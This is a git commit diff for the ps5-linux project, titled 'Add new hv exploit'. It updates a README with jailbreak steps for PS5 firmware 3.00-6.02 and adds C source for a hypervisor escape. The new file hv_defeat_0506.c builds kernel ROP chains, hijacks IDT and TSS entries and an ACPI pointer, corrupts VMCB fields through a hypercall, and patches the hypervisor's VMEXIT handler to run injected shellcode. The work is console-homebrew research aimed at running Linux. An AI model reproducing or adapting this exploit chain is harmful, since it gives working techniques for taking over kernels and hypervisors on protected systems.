Add new hv exploit.

This commit is contained in:
Andy Nguyen
2026-05-17 11:54:10 +02:00
parent fbe5ae0c32
commit eb886e9467
22 changed files with 640 additions and 186 deletions

View File

@@ -1,6 +1,6 @@
# ps5-linux
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.xx or 4.xx firmwares** (and soon also on **firmware 6.02**) into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.00-6.02 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
![Alt Text](logo.webp)
@@ -10,9 +10,9 @@
- **3.00**, **3.10**, **3.20**, **3.21** without M.2 support
- **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
- **Soon: 6.02** with M2 support
Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
- **5.50** with M.2 support
- **6.00**, **6.02** with M.2 support
- Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. Obviously you cannot downgrade.
@@ -122,7 +122,9 @@ The following USB ports are supported for booting:
The front top Type-A port is USB 2.0 which is slower and thus not recommended.
### 4. Run the jailbreak exploit
### 4. Run the jailbreak
#### Firmware 3.00-5.50
1. Clone via: `git clone https://github.com/idlesauce/umtx2`
2. Configure fakedns via `dns.conf` to point `manuals.playstation.net` to your PCs IP address
@@ -131,7 +133,12 @@ The front top Type-A port is USB 2.0 which is slower and thus not recommended.
5. Go into PS5 advanced network settings and set primary DNS to your PCs IP address and leave secondary at `0.0.0.0`
6. Go to user manual in settings and accept untrusted certificate prompt, run.
#### 5. Send the payload
#### Firmware 6.00-6.02
1. Install Y2JB by following https://github.com/Gezine/Y2JB.
2. Run kernel exploit: `python3 payload_sender.py $PS5IP 50000 payloads/lapse.js`
### 5. Send the payload
If you're on ARM64 Linux, first install the x86-64 cross-compilation tools before:
```bash
@@ -202,6 +209,14 @@ Then, there are certain settings and commands we recommend doing:
make
```
7. Install the mwifiex driver for the internal WLAN chip:
```bash
git clone https://github.com/ps5-linux/ps5-linux-mwifiex
cd ps5-linux-mwifiex
sudo ./install.sh
```
## M.2 installation
You can use a M.2 SSD exclusively for Linux (which means you cannot use it for PS5 game storage).

View File

@@ -18,7 +18,9 @@
#define hv_stack_size 0x1000ULL
// This is used as transitional storage from ProsperoOS to Kernel shellcode
#define kernel_cave_files 0xFFFF800000000000
#define kernel_cave 0xFFFF800000000000
#define kernel_cave_shellcode kernel_cave
#define kernel_cave_files kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
#define kernel_cave_linux_info kernel_cave_files
#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE

View File

@@ -1,15 +1,11 @@
#ifndef HV_DEFEAT_0304_H
#define HV_DEFEAT_0304_H
#include "iommu.h"
#include <stddef.h>
int hv_defeat_0304(void);
int hv_defeat_0304(void *shellcode_kernel, size_t shellcode_kernel_len);
int stage1_tmr_relax(void);
int iommu_selftest(void);
int stage2_patch_vmcbs(void);
int stage3_force_vmcb_reload(void);
int stage4_remove_xotext(void);
int stage5_kernel_pmap_invalidate_all(void);
int stage6_install_kexec(void);
#endif

8
include/hv_defeat_0506.h Normal file
View File

@@ -0,0 +1,8 @@
#ifndef HV_DEFEAT_0506_H
#define HV_DEFEAT_0506_H
#include <stddef.h>
int hv_defeat_0506(void *shellcode_kernel, size_t shellcode_kernel_len);
#endif

View File

@@ -105,6 +105,11 @@ struct boot_params {
uint8_t _pad9[276]; // 0xeec
} __attribute__((packed));
typedef struct {
uint64_t start;
uint64_t end;
} tmr;
struct linux_info {
uintptr_t linux_info; // PA of linux_info
uintptr_t bzimage;
@@ -113,6 +118,8 @@ struct linux_info {
size_t initrd_size;
size_t vram_size;
int kit_type;
int n_tmrs;
tmr tmrs[64];
char cmdline[2048];
};

View File

@@ -9,6 +9,22 @@ typedef struct _offset_list {
uint64_t VMSPACE_VM_VMID;
uint64_t VMSPACE_VM_PMAP;
uint64_t DATA_BASE_GVMSPACE;
/* Offsets for 5.00-6.02 hv exploit */
uint64_t ACPIGBL_FACS;
uint64_t IDT;
uint64_t COMMON_TSS;
uint64_t STOPPED_CPUS;
uint64_t FUN_STOP_CPUS;
uint64_t FUN_AS_LAPIC_EOI;
uint64_t FUN_HV_UNMAP_PT_TMR;
uint64_t FUN_MEMCPY;
uint64_t GAD_ADD_RSP_28_POP_RBP_RET;
uint64_t GAD_IRETQ;
uint64_t GAD_POP_RDI_RET;
uint64_t GAD_POP_RSI_RET;
uint64_t GAD_POP_RDX_RET;
uint64_t GAD_POP_RSP_RET;
uint64_t GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
/* Shellcode Kernel */
uint64_t HOOK_ACPI_WAKEUP_MACHDEP;
uint64_t KERNEL_CODE_CAVE;
@@ -22,7 +38,6 @@ typedef struct _offset_list {
uint64_t HV_HANDLE_VMEXIT_PA;
/* Patches on Kernel */
uint64_t KERNEL_UART_OVERRIDE;
uint64_t KERNEL_DEBUG_PATCH;
uint64_t KERNEL_CFI_CHECK;
/* Internal functions to prepare boot */
uint64_t G_VBIOS;
@@ -43,5 +58,8 @@ extern offset_list off_0402;
extern offset_list off_0403;
extern offset_list off_0450;
extern offset_list off_0451;
extern offset_list off_0550;
extern offset_list off_0600;
extern offset_list off_0602;
#endif

View File

@@ -4,7 +4,7 @@
extern struct linux_info linux_i;
int prepare_resume(void);
int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len);
uint64_t prepare_sck_args(void);
int update_sck_args_ptr(uint64_t shellcode, uint64_t args);
void hook_call_near(uint64_t hook, uint64_t dst);

View File

@@ -7,7 +7,7 @@ CC = gcc
LD = ld
OBJCOPY = objcopy
endif
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
TARGET = shellcode_hv.elf
TEXT_BIN = shellcode_hv.bin

View File

@@ -87,6 +87,10 @@ static void e820_memory_setup(struct boot_params *bp) {
append_e820_table(bp, 0x470000000, 0x87f300000, E820_TYPE_RAM);
append_e820_table(bp, 0x87f300000, 0x880000000, E820_TYPE_RESERVED);
}
for (int i = 0; i < info.n_tmrs; i++) {
append_e820_table(bp, info.tmrs[i].start, info.tmrs[i].end, E820_TYPE_RESERVED);
}
}
void boot_linux(void) {

View File

@@ -7,7 +7,7 @@ CC = gcc
LD = ld
OBJCOPY = objcopy
endif
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
TARGET = shellcode_kernel.elf
TEXT_BIN = shellcode_kernel.bin

View File

@@ -15,6 +15,25 @@ int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL;
uint64_t g_vbios;
typedef struct {
uint64_t flags;
uint64_t addr;
uint64_t size;
} __attribute__((packed)) SceSblHvShmTmrPtState;
typedef uint64_t SceSblHvShmTmrIdBmp;
typedef uint16_t SceSblHvShmTmrPtIdBmp;
typedef struct {
uint32_t sig;
uint32_t ver;
SceSblHvShmTmrPtIdBmp tmrMapPts[64];
SceSblHvShmTmrIdBmp tmrOvlpIds[64];
SceSblHvShmTmrPtState tmrPtStates[64];
uint32_t nmiCounts[16];
uint8_t reserved[64];
} __attribute__((packed)) SceSblHvShm;
typedef struct {
uint8_t lanenum;
uint32_t rate;
@@ -57,6 +76,15 @@ static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
return ret;
}
static uint64_t get_hv_shm(void) {
if (args.fw_version >= 0x0500 && args.fw_version < 0x0600) {
return 0x62a01000;
} else if (args.fw_version >= 0x0600 && args.fw_version < 0x0650) {
return 0x62a22000;
}
return -1;
}
static int dp_enable_link_phy(int lanenum, int linkrate) {
struct dig_transmitter_control_parameters_v1_6 params = {};
params.phyid = 0;
@@ -108,7 +136,40 @@ static void install_hv_code(void) {
shellcode_hv_bin_len);
}
void patch_hv(void) {
// Jump to shellcode final identity mapping
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
0xFF, 0xE0}; // jmp rax
// Update code cave in hv 1:1 region
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
// Just patch the VMEXIT handler directly, avoiding all checks
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
sizeof(shellcode_jmp));
uint8_t shellcode_identity_and_jmp[] = {
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0x0F, 0x22, 0xD8, // mov cr3, rax
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0xFF, 0xE0 // jmp rax
};
// Update CR3 PA (from config)
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
// Update HV shellcode cave
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
// Install shellcode to update CR3 and jump to main HV shellcode
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
sizeof(shellcode_identity_and_jmp));
}
void boot_linux(void) {
patch_hv();
// Common bootloader code
install_hv_code();
@@ -126,6 +187,20 @@ void boot_linux(void) {
// Copy bzImage and initrd into contiguous memory.
memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
info.n_tmrs = 0;
if (args.fw_version >= 0x0500 && args.fw_version < 0x0650) {
SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());
for (int i = 0; i < 64; i++) {
if (shm->tmrPtStates[i].flags & 1) {
info.tmrs[info.n_tmrs].start = shm->tmrPtStates[i].addr;
info.tmrs[info.n_tmrs].end = shm->tmrPtStates[i].addr + shm->tmrPtStates[i].size;
printf("tmr: %lx-%lx\n", info.tmrs[info.n_tmrs].start, info.tmrs[info.n_tmrs].end);
info.n_tmrs++;
}
}
}
uintptr_t bzimage = info.bzimage;
uintptr_t initrd = info.initrd;

View File

@@ -8,9 +8,15 @@ uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
uint32_t (*hv_iommu_wait_completion)(void);
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va);
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va);
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va);
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
uint64_t cb3_va = *(uint64_t *)(softc + IOMMU_SC_CB3_PTR);
uint64_t eb_va = *(uint64_t *)(softc + IOMMU_SC_EB_PTR);
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, cb2_va);
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, cb3_va);
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, eb_va);
uint64_t unk;
int n_devices;
@@ -52,55 +58,26 @@ int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
return 0;
}
void patch_hv_0304(void) {
// Jump to shellcode final identity mapping
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
0xFF, 0xE0}; // jmp rax
// Update code cave in hv 1:1 region
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
// Just patch the VMEXIT handler directly, avoiding all checks
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
sizeof(shellcode_jmp));
uint8_t shellcode_identity_and_jmp[] = {
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0x0F, 0x22, 0xD8, // mov cr3, rax
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0xFF, 0xE0 // jmp rax
};
// Update CR3 PA (from config)
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
// Update HV shellcode cave
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
// Install shellcode to update CR3 and jump to main HV shellcode
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
sizeof(shellcode_identity_and_jmp));
}
__attribute__((noinline, optimize("O0"))) void
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
uint64_t curr_tail =
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8);
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
uint64_t curr_tail = *((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8);
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8;
uint64_t *cmd_buffer = (uint64_t *)cb2_va + curr_tail / 8;
cmd_buffer[0] = cmd[0];
cmd_buffer[1] = cmd[1];
__asm__ volatile("" : : : "memory");
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
while (*((uint64_t *)mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8))
;
}
@@ -115,10 +92,28 @@ iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
}
static uint64_t get_vmcb(volatile shellcode_kernel_args *args_ptr, int core) {
switch (args_ptr->fw_version) {
case 0x0300:
case 0x0310:
case 0x0320:
case 0x0321:
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
case 0x0400:
case 0x0402:
case 0x0403:
case 0x0450:
case 0x0451:
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
default:
return -1;
}
}
__attribute__((noinline, optimize("O0"))) void
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
for (int i = 0; i < 16; i++) {
iommu_write8_pa(args_ptr, args_ptr->vmcb[i] + 0x90, 0);
iommu_write8_pa(args_ptr, get_vmcb(args_ptr, i) + 0x90, 0);
}
}

View File

@@ -8,7 +8,6 @@ extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
extern uint32_t (*hv_iommu_wait_completion)(void);
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr);
void patch_hv_0304(void);
// tmr via ecam b0d18f2
#ifndef ECAM_B0D18F2
@@ -39,6 +38,12 @@ int tmr_disable(uint64_t dmap);
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
#define IOMMU_CMD_ENTRY_SIZE 0x10
// IOMMU softc field offsets
#define IOMMU_SC_MMIO_VA 0x40
#define IOMMU_SC_CB2_PTR 0x78
#define IOMMU_SC_CB3_PTR 0x80
#define IOMMU_SC_EB_PTR 0x60b90
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
// Write 8 bytes to a physical address using IOMMU completion wait store

View File

@@ -27,18 +27,19 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
if (hv_defeat_0304(args_ptr))
return -1;
// Now we can R/W on .text
init_global_pointers(args_ptr);
patch_hv_0304();
} else if ((0x0500 <= args_ptr->fw_version) &&
(args_ptr->fw_version < 0x0650)) {
// escape_hv_0506();
// Now we can R/W on .text
// init_global_pointers(args_ptr);
// Already escaped.
} else {
return 0;
}
// Now we can R/W on .text
init_global_pointers(args_ptr);
// Disable CFI to allow smp_rendezvous.
*(uint8_t *)args_ptr->kernel_cfi_check = 0xC3;
boot_linux();
printf("Linux prepared OK\n");

View File

@@ -10,22 +10,17 @@ typedef struct {
uint64_t kdata;
uint64_t dmap_base;
uint64_t fun_printf;
uint64_t fun_vtophys;
uint64_t fun_hv_iommu_set_buffers;
uint64_t fun_hv_iommu_wait_completion;
uint64_t fun_acpi_set_fw_waking_vector;
uint64_t fun_smp_rendezvous;
uint64_t fun_smp_no_rendevous_barrier;
uint64_t fun_transmitter_control;
uint64_t fun_mp3_initialize;
uint64_t fun_mp3_invoke;
uint64_t g_vbios;
uint64_t iommu_mmio_va;
uint64_t iommu_cb2_va;
uint64_t iommu_cb3_va;
uint64_t iommu_eb_va;
uint64_t vmcb[16];
uint64_t iommu_softc;
uint64_t kernel_uart_override;
uint64_t kernel_cfi_check;
uint64_t hv_handle_vmexit_pa;
uint64_t hv_code_cave_pa;
uint64_t linux_info_va; // To relocate by kernel shellcode

View File

@@ -1,27 +1,35 @@
#include "hv_defeat_0304.h"
#include "config.h"
#include "gpu.h"
#include "iommu.h"
#include "tmr.h"
#include "utils.h"
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stdio.h>
uint64_t vmcb_pa[16];
void hook_call_near(uint64_t hook, uint64_t dst) {
int64_t diff_call = dst - hook;
uint8_t new_instr[5];
new_instr[0] = 0xE8;
*((uint32_t *)&new_instr[1]) = (int32_t)(diff_call - 5);
kernel_copyin(new_instr, hook, 5);
DEBUG_PRINT("Instruction patched\n");
}
int hv_defeat_0304(void) {
int hv_defeat_0304(void *shellcode_kernel, size_t shellcode_kernel_len) {
if (stage1_tmr_relax())
return -1;
if (stage2_patch_vmcbs())
return -1;
if (stage3_force_vmcb_reload())
return -1;
if (stage4_remove_xotext())
return -1;
if (stage5_kernel_pmap_invalidate_all())
return -1;
// Install shellcode.
uint64_t sck_va = ktext + env_offset.KERNEL_CODE_CAVE;
kwrite_large(sck_va, shellcode_kernel, shellcode_kernel_len);
hook_call_near(ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP, sck_va);
return 0;
}
@@ -95,8 +103,7 @@ int stage2_patch_vmcbs(void) {
pin_to_core(cur);
for (int i = 0; i < 16; i++) {
vmcb_pa[i] = get_vmcb(i);
iommu_write8_pa(vmcb_pa[i] + 0x90, 0);
iommu_write8_pa(get_vmcb(i) + 0x90, 0);
}
pin_to_core(9);
@@ -138,62 +145,3 @@ int stage3_force_vmcb_reload(void) {
// Return -1 if we didn't caught them
return ret ? 0 : -1;
}
int stage4_remove_xotext(void) {
DEBUG_PRINT("\nHV-Defeat [stage4] xotext removal\n");
uint64_t start = ktext;
uint64_t end = kdata;
int n __attribute__((unused)) = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
DEBUG_PRINT(" %d pages on ktext\n", n);
return 0;
}
int stage5_kernel_pmap_invalidate_all(void) {
DEBUG_PRINT("HV-Defeat [stage5] invalidate paging entries\n");
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
int pipe_fds[2];
if (pipe2(pipe_fds, O_NONBLOCK)) {
return -1;
}
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
close(pipe_fds[0]);
close(pipe_fds[1]);
return -1;
}
close(pipe_fds[1]);
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
if (!INKERNEL(read_fd_file_data)) {
close(pipe_fds[0]);
return -1;
}
uint64_t read_fd_buffer;
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
sizeof(read_fd_buffer));
if (!INKERNEL(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
if (!page_remove_global(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
close(pipe_fds[0]);
return 0;
}

197
source/hv_defeat_0506.c Normal file
View File

@@ -0,0 +1,197 @@
#include "hv_defeat_0506.h"
#include "config.h"
#include "utils.h"
#include <machine/segments.h>
#include <machine/tss.h>
#include <stdio.h>
#define NESTED_CTRL_GMET_ENABLE 0x8
#define IPI_STOP 252
static void setidt(int idx, uintptr_t func, int typ, int dpl, int ist) {
struct gate_descriptor ip = {};
ip.gd_looffset = func;
ip.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip.gd_ist = ist;
ip.gd_xx = 0;
ip.gd_type = typ;
ip.gd_dpl = dpl;
ip.gd_p = 1;
ip.gd_hioffset = func >> 16;
kwrite(ktext + env_offset.IDT + idx * sizeof(struct gate_descriptor), &ip,
sizeof(ip));
}
static int get_vcpu(void) {
if (fw >= 0x0500 && fw < 0x0600) {
return 0;
} else if (fw >= 0x0600 && fw < 0x0650) {
return 1;
}
return -1;
}
static uint64_t get_hv_shm(void) {
if (fw >= 0x0500 && fw < 0x0600) {
return 0x62a01000;
} else if (fw >= 0x0600 && fw < 0x0650) {
return 0x62a22000;
}
return -1;
}
static uint64_t get_vmcb(int core) {
if (fw >= 0x0500 && fw < 0x0600) {
return (uint64_t)0x62a08000 + (uint64_t)core * 0x2000;
} else if (fw >= 0x0600 && fw < 0x0650) {
return (uint64_t)0x62a57000 + (uint64_t)core * 0x2000;
}
return -1;
}
static void build_gp_rop(uintptr_t ist, int vcpu, int tmr_id,
size_t shellcode_kernel_len) {
uint64_t rop_buf[256] = {};
uint64_t *rop = rop_buf;
if (vcpu != 0) {
// Send IPI to vcpu.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = 1 << vcpu;
*rop++ = ktext + env_offset.FUN_STOP_CPUS;
// Clear stopped_cpus.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = ktext + env_offset.STOPPED_CPUS;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
} else {
// Corrupt NESTED_CTRL in vmcb via hv_unmap_pt_tmr hypercall.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = tmr_id;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0x1000;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Disable npt in all vmcb's.
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = NESTED_CTRL_GMET_ENABLE;
for (int i = 0; i < 16; i++) {
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = pa_to_dmap(get_vmcb(i) + 0x90);
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
}
}
// Trigger vmmcall again to reload vmcb.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0xffffffffffffffff;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Copy shellcode.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = kernel_cave_shellcode;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = shellcode_kernel_len;
*rop++ = ktext + env_offset.FUN_MEMCPY;
// Jump to shellcode.
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
}
static void build_ipi_rop(uintptr_t ist, int vcpu, int tmr_id) {
uint64_t rop_buf[256] = {};
uint64_t *rop = rop_buf;
// Corrupt NESTED_CTRL in vmcb via hv_unmap_pt_tmr hypercall.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = tmr_id;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0x1000;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Disable npt in all vmcb's.
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = NESTED_CTRL_GMET_ENABLE;
for (int i = 0; i < 16; i++) {
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = pa_to_dmap(get_vmcb(i) + 0x90);
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
}
// Trigger vmmcall again to reload vmcb.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0xffffffffffffffff;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Set stopped_cpus.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = ktext + env_offset.STOPPED_CPUS;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 1 << vcpu;
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// Call as_lapic_eoi.
*rop++ = ktext + env_offset.FUN_AS_LAPIC_EOI;
// Pivot to iretq.
*rop++ = ktext + env_offset.GAD_POP_RSP_RET;
*rop++ = ist + 0x00;
kwrite64(ist + 0x00, ktext + env_offset.GAD_IRETQ);
kwrite(ist + 0x30 + 0x08, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
}
int hv_defeat_0506(void *shellcode_kernel, size_t shellcode_kernel_len) {
// hvm_shm + tmr_id * 0x18 + 0x298 = vmcb0 + vcpu * 0x2000 + 0x90
// tmr_id = ((vmcb0 + vcpu * 0x2000 + 0x90) - (hvm_shm + 0x298)) / 0x18
int vcpu = get_vcpu();
int tmr_id = (get_vmcb(vcpu) - get_hv_shm() - 0x208) / 0x18;
uintptr_t ist_gp = pa_to_dmap(alloc_page());
build_gp_rop(ist_gp, vcpu, tmr_id, shellcode_kernel_len);
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
offsetof(struct amd64tss, tss_ist6),
ist_gp + 0x1000);
setidt(IDT_GP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
SEL_KPL, 6);
if (vcpu != 0) {
uintptr_t ist_ipi = pa_to_dmap(alloc_page());
build_ipi_rop(ist_ipi, vcpu, tmr_id);
kwrite64(ktext + env_offset.COMMON_TSS + vcpu * sizeof(struct amd64tss) +
offsetof(struct amd64tss, tss_ist7),
ist_ipi + 0x30);
setidt(IPI_STOP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
SEL_KPL, 7);
}
// During suspend, AcpiSetFirmwareWakingVector will corrupt its own pointer,
// and during resume it will trigger #GP, thus executing our ROP chain.
kwrite64(ktext + env_offset.ACPIGBL_FACS,
ktext + env_offset.ACPIGBL_FACS - 8);
return 0;
}

View File

@@ -126,7 +126,7 @@ int fetch_linux(struct linux_info *info) {
}
void *bzimage =
mmap(NULL, ALIGN_UP(bzimage_size, 0x1000), PROT_READ | PROT_WRITE,
mmap(NULL, ALIGN_UP(bzimage_size, PAGE_SIZE), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (bzimage == MAP_FAILED) {
notify("[-] Error could not allocate bzimage.\n");
@@ -134,7 +134,7 @@ int fetch_linux(struct linux_info *info) {
}
bzimage_size =
read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, 0x1000));
